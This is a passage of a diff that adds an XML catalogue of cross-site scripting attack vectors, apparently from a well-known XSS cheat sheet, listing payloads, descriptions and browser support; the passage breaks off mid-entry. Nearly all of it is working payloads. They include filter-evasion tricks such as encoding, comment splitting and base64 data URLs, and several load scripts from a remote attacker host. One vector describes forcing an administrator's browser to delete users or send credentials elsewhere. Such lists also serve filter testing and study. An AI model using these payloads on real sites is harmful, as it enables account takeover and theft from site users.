+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>IMG Dynsrc</name>
+ <code>&lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>IMG Dynsrc</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>IMG Lowsrc</name>
+ <code>&lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>IMG Lowsrc</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>IMG Embedded commands 1</name>
+ <code>&lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;</code>
+ <desc>This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors.</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>IMG Embedded commands 2</name>
+ <code>Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser</code>
+ <desc>IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &lt;IMG SRC=&quot;http://badguy.com/a.jpg&quot;&gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this).</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>IMG STYLE w/expression</name>
+ <code>exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*//*&quot;);
+xss:&amp;#101;x&amp;#x2F;*XSS*//*/*/pression(alert(&quot;XSS&quot;))&apos;&gt;</code>
+
+ <desc>IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop).</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>List-style-image</name>
+ <code>&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS</code>
+
+ <desc>Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector.</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>IMG w/VBscript</name>
+ <code>&lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;</code>
+ <desc>VBscript in an image</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>LAYER</name>
+ <code>&lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;</code>
+ <desc>Layer (Older Netscape only)</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Livescript</name>
+ <code>&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;</code>
+ <desc>Livescript (Older Netscape only)</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>US-ASCII encoding</name>
+ <code>%BCscript%BEalert(%A2XSS%A2)%BC/script%BE</code>
+ <desc>Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS4&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>META</name>
+ <code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>The odd thing about meta refresh is that it doesn&apos;t send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs.</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>META w/data:URL</name>
+ <code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;</code>
+ <desc>This is nice because it also doesn&apos;t have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>META w/additional URL parameter</name>
+ <code>&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>Meta with additional URL parameter. If the target website attempts to see if the URL contains an &quot;http://&quot; you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com)</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Mocha</name>
+ <code>&lt;IMG SRC=&quot;mocha:[code]&quot;&gt;</code>
+ <desc>Mocha (Older Netscape only)</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>OBJECT</name>
+ <code>&lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;</code>
+ <desc>If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>OBJECT w/Embedded XSS</name>
+ <code>&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;XSS&apos;)&gt;&lt;/OBJECT&gt;</code>
+ <desc>Using an OBJECT tag you can embed XSS directly (this is unverified).</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support:</browser>
+ </attack>
+ <attack>
+ <name>Embed Flash</name>
+ <code>&lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;</code>
+
+ <desc>Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess=&quot;never&quot; and allownetworking=&quot;internal&quot; it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html :</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>OBJECT w/Flash 2</name>
+ <code>a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;XSS&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);</code>
+
+ <desc>Using this action script inside flash can obfuscate your XSS vector.</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>STYLE</name>
+ <code>&lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;</code>
+ <desc>STYLE tag (Older versions of Netscape only)</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>STYLE w/Comment</name>
+ <code>&lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;</code>
+ <desc>STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one)</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>STYLE w/Anonymous HTML</name>
+ <code>&lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;</code>
+ <desc>Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don&apos;t really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter)</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>STYLE w/background-image</name>
+ <code>&lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;</code>
+
+ <desc>STYLE tag using background-image.</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>STYLE w/background</name>
+ <code>&lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&lt;/STYLE&gt;</code>
+
+ <desc>STYLE tag using background.</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Stylesheet</name>
+ <code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>Stylesheet</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Remote Stylesheet 1</name>
+ <code>&lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;</code>
+ <desc>Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won&apos;t work unless there is some content on the page other than the vector itself, so you&apos;ll need to add a single letter to the page to make it work if it&apos;s an otherwise blank page.</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Remote Stylesheet 2</name>
+ <code>&lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;</code>
+ <desc>Remote style sheet part 2 (this works the same as above, but uses a &lt;STYLE&gt; tag instead of a &lt;LINK&gt; tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world.</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Remote Stylesheet 3</name>
+ <code>&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;</code>
+ <desc>Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox.</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Remote Stylesheet 4</name>
+ <code>&lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;</code>
+ <desc>Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites.</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>TABLE</name>
+ <code>&lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;</code>
+ <desc>Table background (who would have thought tables were XSS targets... except me, of course).</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>TD</name>
+ <code>&lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;</code>
+ <desc>TD background.</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>XML namespace</name>
+ <code>&lt;HTML xmlns:xss&gt;
+&lt;?import namespace=&quot;xss&quot; implementation=&quot;http://ha.ckers.org/xss.htc&quot;&gt;
+&lt;xss:xss&gt;XSS&lt;/xss:xss&gt;
+
+&lt;/HTML&gt;</code>
+ <desc>XML namespace. The .htc file must be located on the server as your XSS vector.</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>XML data island w/CDATA</name>
+ <code>&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;XSS&apos;);&quot;&gt;]]&gt;
+
+&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;</code>
+ <desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>XML data island w/comment</name>
+ <code>&lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
+
+&lt;SPAN DATASRC=&quot;#xss&quot; DATAFLD=&quot;B&quot; DATAFORMATAS=&quot;HTML&quot;&gt;&lt;/SPAN&gt;</code>
+ <desc>XML data island with comment obfuscation (doesn&apos;t use CDATA fields, but rather uses comments to break up the javascript directive)</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>XML (locally hosted)</name>
+ <code>&lt;XML SRC=&quot;http://ha.ckers.org/xsstest.xml&quot; ID=I&gt;&lt;/XML&gt;
+&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;</code>
+
+ <desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>XML HTML+TIME</name>
+ <code>&lt;HTML&gt;&lt;BODY&gt;
+&lt;?xml:namespace prefix=&quot;t&quot; ns=&quot;urn:schemas-microsoft-com:time&quot;&gt;
+
+&lt;?import namespace=&quot;t&quot; implementation=&quot;#default#time2&quot;&gt;
+&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;XSS&lt;SCRIPT DEFER&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt; &lt;/BODY&gt;&lt;/HTML&gt;</code>
+
+ <desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc>
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Commented-out Block</name>
